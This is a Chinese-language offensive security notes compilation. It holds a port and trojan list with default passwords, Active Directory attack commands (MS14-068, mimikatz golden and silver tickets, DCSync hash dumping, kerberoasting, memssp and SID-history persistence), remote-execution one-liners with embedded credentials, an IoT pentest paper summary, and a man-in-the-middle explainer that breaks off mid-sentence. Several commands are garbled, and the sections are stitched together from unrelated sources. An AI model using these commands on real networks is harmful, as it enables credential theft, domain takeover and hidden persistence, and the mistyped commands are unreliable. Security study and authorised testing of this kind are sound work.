服务:Membership DPA
成员资格 DPA
端口:569
服务:Membership MSN
成员资格 MSN
端口:635
服务:mountd
Linux的mountd Bug。是扫描的一个流行BUG。对端口的扫描是基于UDP的,但是基于TCP的mountd有所增加(mountd同时运行于两个端口)。记住mountd可运行于任何端口(到底是哪个端口,需要在端口111做portmap查询),Linux默认端口是635,就像NFS通常运行于2049端口
端口:636
服务:LDAP
SSL(Secure Sockets layer)
端口:666
服务:Doom Id Software
木马Attack FTP、Satanz Backdoor开放此端口
端口:873
Rsync未授权
端口:993
服务:IMAP
SSL(Secure Sockets layer)
端口:1001、1011
木马Silencer、WebEx开放1001端口。木马Doly Trojan开放1011端口
端口:1024
服务:Reserved
动态端口的开始,许多程序并不在乎用哪个端口连接网络,请求系统为它们分配下一个闲置端口。分配从端口1024开始。第一个向系统发出请求的会分配到1024端口。重启机器,打开Telnet,再打开一个窗口运行natstat -a 看到Telnet被分配1024端口。SQL session也用此端口和5000端口
端口:1025、1033
服务:1025:network blackjack NFS
1033:[NULL]
木马netspy开放端口
端口:1080
服务:SOCKS
以通道方式穿过防火墙,允许防火墙后面的人通过IP地址访问INTERNET。理论上只允许内部的通信向外到达INTERNET。但由于错误配置,会允许位于防火墙外部的攻击穿过防火墙。WinGate常发生这种错误,在加入IRC聊天室时常会看到这种情况
端口:1158
ORACLE EMCTL.2601 EMCTL.2604 zebra路由器 默认密码zebra
端口:1170
木马Streaming Audio Trojan、Psyber Stream Server、Voice开放此端口
端口:1234、1243、6711、6776
木马SubSeven2.0、Ultors Trojan开放1234、6776端口。木马SubSeven1.0/1.9开放1243、6711、6776端口
端口:1245
木马Vodoo开放此端口
端口:1433
服务:SQL MSSQL(暴力破解)
Microsoft的SQL服务开放的端口
端口:1492
服务:stone-design-1
木马FTP99CMP开放此端口
端口:1500
服务:RPC client fixed port session queries
RPC客户固定端口会话查询
端口:1503
NetMeeting T.120
端口:1521
Orcal (iSqlPlus Port 5560 7778)
端口:1524
服务:ingress
许多脚本将安装一个后门SHELL到这个端口,尤其是针对SUN系统中Sendmail和RPC服务漏洞的脚本。如果安装了防火墙就会看到在这个端口上的连接企图,很可能是上述原因。试试Telnet到用户的计算机上的这个端口,看看是否会给一个SHELL。连接到600/pcserver也存在这个问题
端口:1600
服务:issd
木马Shivka-Burka开放此端口
端口:1720
服务:NetMeeting
NetMeeting H.233 call Setup
端口:1731
服务:NetMeeting Audio Call Control
NetMeeting音频调用控制
端口:1807
木马SpySender开放此端口
端口:1981
木马ShockRave开放此端口
端口:1999
服务:cisco identification port
木马BackDoor开放此端口
端口:2000
木马GirlFriend 1.3、Millenium 1.0开放此端口
端口:2001
木马Millenium 1.0、Trojan Cow开放此端口
端口:2023
服务:xinuexpansion 4
木马Pass Ripper开放此端口
端口:2049
服务:NFS
NFS程序运行端口。需访问Portmapper查询服务运行于哪个端口
端口:2082/2083
cpanel主机管理系统登录(国外使用较多)
端口:2115
木马Bugs开放此端口
端口:2140、3150
木马Deep Throat 1.0/3.0开放此端口
端口:2222
DA虚拟主机管理系统登陆(国外使用较多)
端口:2500
服务:RPC client using a fixed port session replication
应用固定端口会话复制的RPC客户
端口:2583
Wincrash 2.0开放此端口
端口:2601/2604
zebra路由器,默认密码zebra
端口:2801
木马Phineas Phucker开放此端口
端口:3024、4092
木马WinCrash开放此端口
端口:3128
服务:squid
squid HTTP代理服务器默认端口。攻击者扫描端口为了搜寻一个代理服务器而匿名访问Internet。也会看到搜索其他代理服务器的端口8000、8001、8080、8888。扫描这个端口的另一个原因是用户正在进入聊天室。其他用户也会检验这个端口确定是否支持代理,如果没设置口令,直接漫游内网
端口:3129
木马Master Paradise开放此端口
端口:3150
木马The Invasor开放此端口
端口:3210、4321
木马SchoolBus开放此端口
端口:3306
MYSQL(暴力破解)
端口:3312/3311
kangie主机管理系统登录
端口:3333
服务:dec-notes
木马Prosiak开放此端口
端口:3389
服务:超级终端
WINDOWS 2000终端开放此端口
端口:3690
SVN
端口:3700
木马Portal of Doom开放此端口
端口:3996、4060
木马RemoteAnything开放此端口
端口:4000
服务:QQ客户端
腾讯QQ客户端开放端口
端口:4092
木马WinCrash开放此端口
端口:4440
rundeck 漫游内网
端口:4590
木马ICQTrojan开放此端口
端口:4848
GlassFish Web中间件 弱口令:admin/adminadmin
端口:5000、5001、5321、50505
木马blazer5开放5000端口。木马Sockets de Troie开放5000、5001、5321、50505端口
端口:5400、5401、5402
木马Blade Runner开放此端口
端口:5432
PostgreSQL
端口:5550
木马xtcp开放此端口
端口:5569
木马Robo-Hack开放此端口
端口:5632
服务:pcAnywere
依赖于用户所在位置。当用户打开pcAnywere时,自动扫描局域网C类网以寻找可能的代理(这里的代理是指agent而不是proxy)。入侵者寻找开放服务的计算机。查看这种扫描的源地址。pcAnywere的扫描包常含端口22的UDP数据包
端口:5742
木马WinCrash1.03开放此端口
端口:5900
VNC
端口:5984
CouchDB
端口:6082
varnish
端口:6267
木马广外女生开放此端口
端口:6379
redis未授权
端口:6400
木马The tHing开放此端口
端口:6670、6671
木马Deep Throat开放6670端口。而Deep Throat 3.0开放6671端口
端口:6883
木马DeltaSource开放此端口
端口:6969
木马Gatecrasher、Priority开放此端口
端口:6970
服务:RealAudio
RealAudio客户将从服务器的6970-7170的UDP端口接收音频数据流。这是由TCP-7070端口外向控制连接设置的
端口:7000
木马Remote Grab开放此端口
端口:7001/7002
WebLogic默认弱口令,反序列化
端口:7300、7301、7306、7307、7308
木马NetMonitor开放此端口。另外NetSpy1.0也开放7306端口
端口:7323
Sygate服务器端
端口:7626
木马Giscier开放此端口
端口:7778
Kloxo主机控制面板登录
端口:7789
木马ICKiller开放此端口
端口:8000
服务:OICQ
腾讯QQ服务器端开放端口
端口:8000-9090
常见WEB端口,运维喜欢把管理后台开在非80端口
端口:8010
服务:Wingate
Wingate代理开放此端口
端口:8080
服务:代理端口
WWW代理开放此端口,tomacat/WDCd/主机管理系统,默认弱口令
端口:8080/8089/9090
JBOSS
端口:8081
Symantec AC/Filter for MSE
端口:8083
Vestacp主机管理系统(国外使用较多)
端口:8649
ganglia
端口:8888
amh/LuManager主机管理系统默认端口
端口:9000
fcgi fcig php执行
端口:9043
websohere[web中间件],弱口令:admin/admin websohere
/websphere system/manager
端口:9200/9300
elasticsearch
端口:9400、9401、9402
木马Incommand 1.0开放此端口
端口:9872、9873、9874、9875、10067、10167
木马Portal of Doom开放此端口
端口:9989
木马iNi-Killer开放此端口
端口:10000
Virtualmin/Webmin 服务器虚拟主机管理系统
端口:11000
木马SennaSpy开放此端口
端口:11211
memcache未授权访问
端口:11223
木马Progenic trojan开放此端口
端口:12076、61466
木马Telecommando开放此端口
端口:12223
木马Hack'99 KeyLogger开放此端口
端口:12345、12346
木马NetBus1.60/1.70、GabanBus开放此端口
端口:12361
木马Whack-a-mole开放此端口
端口:13223
服务:PowWow
Tribal Voice的聊天程序。允许用户在端口打开私人聊天连接。对于建立连接非常具有攻击性。驻扎在TCP端口等待回应。造成心跳间隔的连接请求。如果一个拨号用户从另一个聊天者手中继承了IP地址就会发生有很多不同的人在测试这个端口的情况。使用OPNG作为连接请求的前4个字节
端口:16969
木马Priority开放此端口
端口:17027
服务:Conducent
外向连接。由于公司内部有人安装了带有Conducent"adbot"的共享软件。Conducent"adbot"为共享软件显示广告服务。使用这种服务的一种流行的软件是Pkware
端口:19191
木马蓝色火焰开放此端口
端口:20000、20001
木马Millennium开放此端口
端口:20034
木马NetBus Pro开放此端口
端口:21554
木马GirlFriend开放此端口
端口:22222
木马Prosiak开放此端口
端口:23456
木马Evil FTP、Ugly FTP开放此端口
端口:26274、47262
木马Delta开放此端口
端口:27017/27018
Mongodb未授权访问
端口:27374
木马Subseven 2.1开放此端口
端口:28017
mongodb统计页面
端口:30100
木马NetSphere开放此端口
端口:30303
木马Socket23开放此端口
端口:30999
木马Kuang开放此端口
端口:31337、31338
木马BO(Back Orifice)开放此端口。另外木马DeepBO也开放31338端口
端口:31339
木马NetSpy DK开放此端口
端口:31666
木马BOWhack开放此端口
端口:33333
木马Prosiak开放此端口
端口:34324
木马Tiny Telnet Server、BigGluck、TN开放此端口
端口:40412
木马The Spy开放此端口
端口:40421/40422/40423/40426
木马Masters Paradise开放此端口
端口:43210、54321
木马SchoolBus 1.0/2.0开放此端口
端口:44445
木马Happypig开放此端口
端口:50000
SAP命令执行
端口:50060
hadoop
端口:50070/50030
hadoop默认端口未授权访问
端口:50766
木马Fore开放此端口
端口:53001
木马Remote Windows Shutdown开放此端口
端口:65000
木马Devil 1.03开放此端口
域渗透
信息搜集
Get-NetDomain - gets the name of the current user's domain
Get-NetForest -gets the forest associated with the current user's domain
Get-NetForestDomains - gets all domains for the current forest
Get-NetDomainControllers - gets the domain controllers for the current computer's domain
Get-NetCurrentUser - gets the current [domain\]username
Get-NetUser - returns all user objects,or the user specified(wildcard specifiable)
Get-NetUserSons - gets all user ServicePrincipalNames
Get-NetOUs - gets data for dimain organization units
Get-NetGUIDOUs - finds domain OUs linked to a specific GUID
Invoke-NetUserAdd -adds a loacl pr domain user
Get-NetGroups - gets a list of all current groups in the doamin
Get-NetGroup - gets data for each user in a soecified domain group
Get-NetLoaclGroups - gets a list of loaclgroups on a remote host or hosts
Get-NetLoaclGroup - gets the members of a loaclgroup on a remote host or hosts
get-NetLoaclServices - gets a list of running services/paths on a remote host or hosts
Invoke-NetGroupUserAdd -adds a user to a specified loacl or doamin group
Get-NetComputers - gets a list of all current servers in the domain
Get-NetFileServers - gets a list of file servers used by current doamin group
Get-NetShare - gets share information for a specified server
Get-NetLoggedon - gets users actively logged onto a specified server
Get-Netsessions - gets active sessions on a specified server
Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles
Get-NetConnections - gets active connections to a specific server resource(share)
Get-NetFiles - gets open files on a server
Get-NetProcesses - gets the remote processes and owners on a remote server
获取域控方法
SYSVOL
存储域公共文件服务器副本的共享文件夹,在域中所有的域控制器之间复制,安装AD时创建,用来存放GPO,Script等信息,同时存放在Sysvol文件夹中的信息,会复制到域中所有DC上
寻找SYSVOL里密码和攻击GPP(组策略偏好)
Windows Sercer 2008 R2 Sysvol文件夹
SYSVOL中查找密码并利用组策略首选项
里哟个SYSVOL还原组策略中保存的密码
MS14 -068 Kerberos
python ms14 -068.py -u 域用户@域名 -p 密码 -s 用户 用户SID -d 域主机
利用mimikatz将工具得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书
mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.co.ccache"exit
net use C:\pentest.comc$
工具包PyKEK
MS14-068漏洞
Kerberos安全漏洞
SPN扫描
Kerberoast可做为一个有效方法从ACtive DIrectory中以普通用户的身份提取服务账户凭据,无需向目标主机发送任何数据包
在使用Kerberos身份验证的网络上的唯一标识符,由服务类,主机名,端口组成,在使用Kerberos身份验证的网络中,必须在内置计算机用户(NetworkService或LoaclSystem)或用户账户下为服务器注册的SPN,对于内部账户,SPN会自动进行注册,如果域用户账户下运行服务,必须为使用的账户手动注册SPN
SPN不需要连接到网络上的每个IP检查服务端口,SPN通过LDAP查询向域控执行服务,SPN查询是Kerberos票据行为的一部分,所以很难检测SPN扫描
非扫描式的SQL Sever
SPN扫描
扫描SQL Server的脚本~~删除线格式~~
Kerberos黄金门票
在域上抓取HASH
kerberos::purge
kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash/ticket:administrator.kribi
kerberos::ptt administrtor.kiribi
kerberos::tgt
net use k:\pentest.comc$
Kerberos白银门票
黄金票据和白银票据区别:
Golden Ticket
伪造TGT 获取任何的Kerberos服务权限
Silver Ticket
伪造TGS 只能访问指定服务
加密方式不同
Golden Ticket由krbtgt的HASH加密
Silver Ticket由服务账号(计算机账户)HASH加密
认证流程不同
Golden Ticket使用过程需要同域控通信
Sliver Ticket使用过程不需要同域控通信
mimikatz.exe "kerberos :: folden /domain:域 /sid.SID /target:域全称 /service要访问的服务 /rc4.NTLM/user.sliver /ptt*
使用Kerberos银票利用系统
与服务账号破解
与SPN扫描类似原理
获取所有用作SPN的账户
setspn -T PENTEST.com -Q */*
从Mimikatz的TAM中提取获得的门票
Kerberos :: list /export
用rgsrepcrack破解
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sq101 medin.loacl~1433-MYDOMAIN.LOCAL.kirbi
凭证盗窃
从搜集的密码里面找管理员密码
地址解析协议
ARP是最终的渗透手段
截取AD哈希
使用VSS卷影副本
Ntdsutil中获取NTDS.DIT文件
Powershell中提取NTDS.DIT
#Invoke-NinaCopy
使用Minikatz提取
#mimikatz lasdumo :: inject exit
使用PowerShell Mimikatz
Mimikatz的DCSync
#使用Minmikatz的DCSync运城传输Active Directory凭证
提取KRBTGT用户账户的密码数据
Mimikatz 'privilege :: debug"
"lsadump :: dcsync /domain:rd.adsecurity.org /user: krbtgt "exit
管理员用户账户提取密码数据
Mimikatz "privilege :: debug" " debug" "lsadump :: dcsync /doamin:rd.adsecurity.org /user: Administrator" exit
NTDS.dit中提取哈希
#使用esedbexport回复以后使用ntdsxtract提取
AD持久化
活动目录持久性技巧
DS恢复模式密码维护
DSRM密码同步
#Windows Server 2008需要安装KB961320补丁才支持DSRM密码同步
#WIndows Server 2003不支持DSRM密码同步
#利用DSRM密码同步将域控权限持久化
DCshadow
Security Support Provider
#SSP就是一个DLL用来实现身份认证
privlege :: debug
misc :: memssp
#这样不需要重启
C:/windows/system32可以看到新生成的文件
SID历史
mimikatz "privilege :: debug" "misc :: addsid bobafett ADSAdministrator"
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp,重新获取域管理权限
组策略
策略对象在持久化及横向渗透中的应用
Hook PasswordChangeNotify
TIPS
通过Hook PasswordChangeNotify实时记录域控管理员新密码
域渗透时要记得留意域内主机的本地管理员账号
相关工具
BloodHound
CreackMapExec
DeathStar
远程系统执行程序
操作系统:win7 x64
远程登陆方式:net use远程登陆,不使用3389
1、at&schtasks
计划任务方式执行程序。
条件:
启动Task Scheduler服务
at \\192.168.40.137
找不到网络路径,判断是目标主机已禁用Task Scheduler服务
2、psexec
PsTools工具之一,在指定的一台或多台计算机上运行应用程序
条件:
需要开放ADMIN$共享
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
找不到网络名,判断目标主机已禁用ADMIN$共享
3、WMIC
功能强大,可做系统管理、远程主机信息获取
条件:
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
4、wmiexec
使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。
条件:
启动WMI服务,开放135端口
本地安全策略的“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
5、powershell remoting
实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接
条件:
远程连接会有痕迹
本机要开启winRM服务
命令汇总:
列出所有远程信任主机 powershell Get-Item WSMan:\localhost\Client\TrustedHosts
设置信任所有主机 powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
设置允许运行ps1文件 powershell Set-ExecutionPolicy Unrestricted
执行test.ps1文件 powershell -ExecutionPolicy Bypass -File test.ps1
ps1文件如下:$UserName = "test" $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password) invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
6 、python smbexec
随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。
整理下目前掌握的目标主机信息
目标主机:
1、已获得登陆用户名及口令
2、可以net use连接
3、开放共享C
但是:
1、默认admin$共享关闭,无法使用psexec
2、Task scheduler关闭,无法使用at、schtasks
3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec
4、不支持3389
在目标主机远程执行程序
猜测是对常用的远程执行程序的方法做了限制,可以尝试smbexec,基于psexec,如果目标主机开放了其他默认共享,可以尝试smbexec
搜索smbexec,GitHub有smbexec的c++参考资料,作为工具改进模版
模版下载地址:
https://github.com/sunorr/smbexec
IoT相关 (物联网)
物联网(IoT)是新兴技术,是对传统Internet的扩展,它使所有带有射频识别(RFID),传感器或GPS等功能的物体相互连通。
IoT安全问题频发,从攻击者角度来看,评估物联网安全性的方法却很少。目前为止,渗透测试已广泛应用于评估传统的Internet或系统安全性,但通常需要花费大量成本和时间。
针对物联网的安全问题,提出基于BDI模型的渗透测试方法及其自动化,以评估物联网的安全性。
什么是IoT
物联网(IoT)是1999年由麻省理工学院(MIT)提出;这段特殊的时期预示着重要的新一代信息技术的出现。物联网被认为是交易的延伸附加互联网,便于信息通信传递。具有识别位置,跟踪信息,监视射频识别的数据管理(RFID),传感器或GPS等功能。
根据现有的文献,物联网结构包括三层:应用层,网络层和感知层。
应用层为用户提供在不同的场景中的服务。
网络层负责信息的传输和处理。
感知层收集信息并识别对象。(包括各种硬件终端例如RFID,传感器,GPS等)
物联网的使用技术已应用于各种领域,例如智能网格,智能交通,智慧城市,智能家居,智能医疗保健,体育锻炼和智能建筑。
大部分IoT安全研究都侧重于分析,防御或攻击特定设备。
物联网的安全性
与传统互联网相比,物联网具有特殊的特征,三层结构会导致更多的漏洞出现
。在物联网的三层结构中,每一层都有特定的安全性问题,其中一些类似于传统网络。
A. 感知层安全
感知层,也称为识别层或物理层,从现实世界中收集信息,通过RFID将这些信息集成到数字世界中(比如:传感器,GPS和其他硬件设备)
。感知层的节点一般是低功率,计算能力受限,低存储空间和重复使用
。
感知层并没有采用传统的信息安全解决方案。从每个感知层网络到节点,特定的安全问题会导致更多漏洞和攻击面出现
。例如,节点是容易遭到窃听,欺骗,克隆,killing,干扰和屏蔽攻击等
。
B. 网络层安全
网络层负责传输应用层和感知层之间的信息
。网络层是各种网络架构的组合
,包括互联网,移动通信网络,卫星,GSM网络,GPRS,3G,4G,WIFI网络等
。
安全性问题与传统的相似,容易受到DDoS、中间人、数据篡改、数据重放和信号干扰等攻击
。此外,混合不同的网络架构也可能带来新的安全问题。
C. 应用层安全
应用层为用户提供了多种服务
,例如:智能电网,智能交通,智慧城市,智能家居,智能医疗保健和智能建筑等
。物联网可以通过各种平台访问
,用户可以通过在不同平台上的应用程序来实现相应的功能
。例如:计算机,移动设备或智能硬件设备。
应用层(与其他层类似)的安全风险取决于物联网场景的攻击漏洞
(例如攻击缓冲区溢出,SQL注入,XSS,密码攻击和社会工程攻击)
。
PENETRATION测试
基于已建立的物联网特定安全问题研究和OWASP的物联网攻击项目,传统物联网渗透测试与当前物联网
渗透测试的区别在于感知层
。
物联网渗透测试的过程分为四个阶段:
1)信息搜集
2)分析
3)开发
4)报告
物联网测试流程图
A.信息收集
初始阶段的信息收集是一个关键步骤,探测所有三个物联网结构层(感知、网络和应用)的信息来确定渗透测试的成功。
1) 感知层:收集有关物理环境的各种信息
,比如节点的位置、节点的类型、节点的范围、类型连接方式、通信协议类型、拓扑结构节点、节点操作系统的类型、节点的电源、安全机制、节点漏洞和传播协议漏洞等
。
工具示例包括:
• Hardware Bridge API:用于物联网渗透测试。
• Nmap:开源免费工具,扫描网上电脑开放的网络连接端。
• Openvas:开放式漏洞评估系统,也可以说它是一个包含着相关工具的网络扫描器。
• Nessus:目前全世界最多人使用的系统漏洞扫描与分析软件。
2) 网络层:利用网络攻击工具
(wirelessatck套件、aircack)采集与传统渗透测试类似的网络类型、连接类型、安全机制、通信类型和传输协议漏洞等
信息是非常关键的。
3) 应用层:信息收集类似于传统的信息收集。收集有关操作系统类型,端口,服务信息,访问控制类型,配置Nmap提供的信息和漏洞信息,vas,Nessus等等
。
4) 社会工程信息:例如,DNS信息,电子邮件列表,应用程序信息等
。Dnsenum和Fierce以收集DNS信息而闻名,可以通过Harvester收集电子邮件列表。
B.分析
分析阶段,必须对目标的相关信息进行组织、分析,随后识别出目标的攻击路径,并尝试获得目标的访问权限,通常需要对实验环境进行有效性检查
。
C.开发
此阶段,将把分析阶段已经分析出来的可行的攻击路径和规划进行真正的攻击
。在渗透测试期间,禁止DDoS攻击,保证目标的可用性
。
1)感知层:攻击由硬件桥接API或IoTseeker形成
• 略读:非法读取节点信息。
• 窃听:嗅探节点之间的信息路由器。
• 欺骗:生成伪造的节点数据。
• 克隆:克隆伪节点。
• 杀死:窃取并破坏节点。
• 缓冲区溢出w攻击节点。
• 节点上的访问控制攻击:IoTseeker打破了IoT设备的默认密码。
2) 网络层:网络层上的攻击,网络流量嗅探器,信号重放,信号伪造,并在不同的网络通信中劫持信号WIFI,3G,4G,GSM,蓝牙和通过无线攻击Aircrack-ng等
。
• 网络流量嗅探器:sniffer之间的信息网络。
• 信号重放:重放信息以进行攻击目标。
• 假信号:生成信息来进行攻击目标。
• 信号劫持:干扰目标网络并强制将目标节点连接到可控制的伪造网络上。
3) 应用层:Web应用程序攻击,软件缓冲区溢出攻击,密码攻击等
。
• Metasploit:最受好评的渗透测试框架包括成千上万的漏洞利用加载。
• W3af:Web应用程序攻击框架。
• John the Ripper:密码破解。
4)社会工程攻击:针对缺乏安全意识的普通民众。假如,员工可以通过向它们启用对目标的访问特权并进一步的进行渗透测试。
执行此类攻击的能力需要Setoolkit
D.报告
成功的渗透测试模拟会发现漏洞,其中细节将被处理,并向目标所有者报告,提高未来的安全性。
发现系统或应用平台的漏洞。对流程中的信息分析评估总结,形成最终的测试报告,提高系统的安全性能。
BDI模型的自动化
渗透测试的成功需要一套完整的目标和计划。为实现自动化,BDI是解决问题的理想模型,因为能在渗透测试中通过感知和动作与目标进行交互。
使用BDI模型为物联网渗透测试建模。BDI模型描述在渗透测试期间如何选择与目标信息相关的操作
,分为三个逻辑成分:信念、愿望和意图
。遵循Jason解释器,模型是基于过程推理系统(PRS)
。
BDI代理定义为“元组”< Ag,B,D,I,P,A,S >
• Ag是代理名称;
• B是一个信念集,代表有关目标,并在执行操作后将其更新;
• D是一个愿望集,代表所有选项或可能的渗透测试候选计划代理商
• I是一个意图集,代表代理商的目标或代理商决定执行的计划。
• P是一个计划集,由可用计划组成,每个计划提供有关如何达到的信息ve的目标。
• A是一个操作集,其中包括可以执行的代理操作。
• S是一个感知集,它存储了来自环境的各种信息。
BDI代理的推理周期
验证
通过仿真对物联网进行自动化渗透测试实验
模型运行在具有2.3 GHz,I5 CPU和8GB的RAM的PC上。
模拟实验代表BDI代理和三层物联网在Jason中使用内部沟通动作,模拟BDI模型与物联网。模型是在AgentSpeak Jason中实现的,是一种多代理系统编程语言。
A. 物联网目标
将物联网目标信息预先定义为三层,包括服务和相应的漏洞能力
该信息存储在信念集中,三个物联网结构层的仿真需要创建4个代理,分别表示应用层和网络层,以及感知层中的两个节点。
网络层负责应用层和感知层之间的信息传输此外,为了使场景不确定,使用随机数
确定攻击的结果。
B. BDI代理
在BDI代理中,特权的默认值是none
,初始目标是应用层中的root特权或控制IoT
。在物联网渗透测试的基础上,预先定义了对三层代理进行信息和攻击的探测计划,例如,BDI代理可以探测操作系统类型、端口、服务、漏洞信息和网络类型
,执行密码攻击、嗅探攻击,重放攻击和缓冲溢出攻击
。模拟实验是由Jason的内部动作完成的
Jason代码如下所示:
+!probe information: true<−.send(agent name, askAll, information type(value)).
+!attack action: true<−.send(agent name, tell, attack action)
C.模拟
对应用层的失败攻击和对网络层和感知层的成功攻击,说明传统物联网渗透测试系统与当前物联网渗透测试系统的不同。成功获得了操作系统类型、端口、服务、网络类型、网络安全和漏洞三个层次的基本信息。
BDI模型对物联网进行渗透测试的过程
BDI代理成功地破解了SSH password,并获得了用户权限。
随机性较低,无法执行本地缓冲区溢出攻击以获取根权限。由于对每一层之间的信息传输缺乏安全保护,BDI代理成功地执行了Sniffertack。
可以获得有关光传感器和光控制指令的必要信息,BDI代理收集并存储在信念集中的信息
信息在网络层传输的过程
“turn on the light”命令和光传感器信息在应用程序和网络层之间传输,显示在网络层的信念集中。感知层的基本信息和值包含在应用层代理的信念集中
假设光传感器的值是40。在感知层,两个代理分别代表光和光传感器,BDI代理可以根据光传感器信息和光控制指令执行重放攻击
物联网的概念和渗透测试。安全性物联网的概念,描述了其安全功能。提出了方法来执行渗透测试物联网,引入特殊的专用tools。进行效率上的改善。
使用BDI模型来实现其自动化,通过模拟实验来验证。
中间人
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)
指攻击者与通讯的两端分别创建独立的联系,并交换所收到的数据,使通讯的两端认为通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。在中间人攻击中,攻击者可拦截通讯双方的通话并插入新的内容。中间人攻击是(缺乏)相互认证的攻击
。大多数的加密协议都专门加入了一些特殊的认证方法以阻止中间人攻击。例如,SSL协议可以验证参与通讯的一方或双方使用的证书是否是由权威的受信 任的数字证书认证机构颁发,并且能执行双向身份认证。
搭建局域网需要用到交换机,利用VMware虚拟机模拟搭建局域网,因为VMware配置了虚拟交换机,VMnet1-VMnet19都是交换机,比如开了三台虚拟机,将三台虚拟机的网络适配器设置VMnet1,那这三台虚拟机在了同一局域网中。
VMnet0是真实网络中的交换机(路由器)
,虚拟机的网络模式为VMnet0时,虚拟机则将连接真实网络,和原主机处于同一网段中
。
ARP协议
“Address Resolution Protocol”(地址解析协议)
在以太网环境中,数据的传输所依懒的是MAC地址而非IP地址(交换机只能认识MAC地址)
,将已知IP地址转换为MAC地址的工作是由ARP协议来完成的
。
局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的
。以太网中,一个主机和另一个主机进行直接通信,必须知道目标主机的MAC地址
。通过地址解析协议获得目标MAC地址。
“地址解析”是主机在发送帧前将目标IP地址转换成目标MAC地址的过程
。
ARP协议的基本功能是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。
中间人攻击示意图
假设爱丽丝(Alice)希望与鲍伯(Bob)通信。同时,马洛里(Mallory)希望拦截窃会话以进行窃听并可能在某些时候传送给鲍伯一个虚假的消息。
首先,爱丽丝会向鲍伯索取他的公钥。如果Bob将他的公钥发送给Alice,并且此时马洛里能够拦截到这个公钥,就可以实施中间人攻击。马洛里发送给爱丽丝一个伪造的消息,声称自己是鲍伯,并且附上了马洛里自己的公钥(而不是鲍伯的)。
爱丽丝收到公钥后相信这个公钥是鲍伯的,于是爱丽丝将她的消息用马洛里的公钥(爱丽丝以为是鲍伯的)加密,并将加密后的消息回给鲍伯。马洛里再次截获爱丽丝回给鲍伯的消息,并使用马洛里自己的私钥对消息进行解密,如果马洛里愿意,她也可以对消息进行修改,然后马洛里使用鲍伯原先发给爱丽丝的公钥对消息再次加密。当鲍伯收到新加密后的消息时,他会相信这是从爱丽丝那里发来的消息。
1.爱丽丝发送给鲍伯一条消息,却被马洛里截获:
爱丽丝“嗨,鲍伯,我是爱丽丝。给我你的公钥” --> 马洛里 鲍伯
2.马洛里将这条截获的消息转送给鲍伯;此时鲍伯并无法分辨这条消息是否从真的爱丽丝那里发来的:
爱丽丝 马洛里“嗨,鲍伯,我是爱丽丝。给我你的公钥” --> 鲍伯
3.鲍伯回应爱丽丝的消息,并附上了他的公钥:
爱丽丝 马洛里<-- [鲍伯的公钥]-- 鲍伯
4.马洛里用自己的密钥替换了消息中鲍伯的密钥,并将消息转发给爱丽丝,声称这是鲍伯的公钥:
爱丽丝<-- [马洛里的公钥]-- 马洛里 鲍伯
5.爱丽丝用她以为是鲍伯的公钥加密了她的消息,以为只有鲍伯才能读到它:
爱丽丝“我们在公共汽车站见面!”--[使用马洛里的公钥加密] --> 马洛里 鲍伯
6.然而,由于这个消息实际上是用马洛里的密钥加密的,所以马洛里可以解密它,阅读它,并在愿意的时候修改它。他使用鲍伯的密钥重新加密,并将重新加密后的消息转发给鲍伯:
爱丽丝 马洛里“在家等我!”--[使用鲍伯的公钥加密] --> 鲍伯
7.鲍伯认为,这条消息是经由安全的传输通道从爱丽丝那里传来的。
爱丽丝和鲍伯需要某种方法来确定他们是真正拿到了属于对方的公钥,而不是拿到来自攻击者的公钥。否则,这类攻击一般都是可行的,在原理上,可针对任何使用公钥——密钥技术的通讯消息发起攻击
。幸运的是,有各种不同的技术可以帮助抵御MITM攻击。
防御攻击
许多抵御中间人攻击的技术基于以下认证技术:
公钥基础建设
PKI方案中,主要防御中间人攻击的方案是PKI的相互认证的机制
。使用机制并由应用程序验证用户
,用户设备验证应用程序
。在某些流氓应用的情况下,不是很有用,需要注意对流氓软件应与正规软件进行区分。
更强力的相互认证:
密钥(通常是高信息熵的密钥,从而更安全)
密码(通常是低的信息熵的密钥,从而降低安全性)
延迟测试,使用复杂加密哈希函数进行计算以造成数十秒的延迟
;如果双方通常情况下要花费20秒来计算,并且整个通讯花费60秒计算才到达对方,表明存在第三方中间人。
第二(安全的)通道的校验
一次性密码本可以对中间人攻击免疫,在对一次密码本的安全性和信任上创建。公钥体系的完整性通常必须以某种方式得到保障,但不需要进行保密。密码和共享密钥有额外的保密需求。公钥可以由证书颁发机构验证,这些公钥通过安全的渠道(随Web浏览器或操作系统安装)分发。公共密钥也可以经由Web在线信任进行在线验证,可以通过安全的途径分发公钥(通过面对面的途径分发公钥)。
查看密钥交换协议以了解不同类别的使用不同密钥形式或密码以抵御中间人攻击的协议。
中间人攻击的取证分析
从被怀疑是中间人攻击的链接中捕捉网络数据包并进行分析
可以确定是否存在中间人攻击。在进行网络分析并对可疑的SSL中间人攻击进行取证时,重要的分析证据包括:
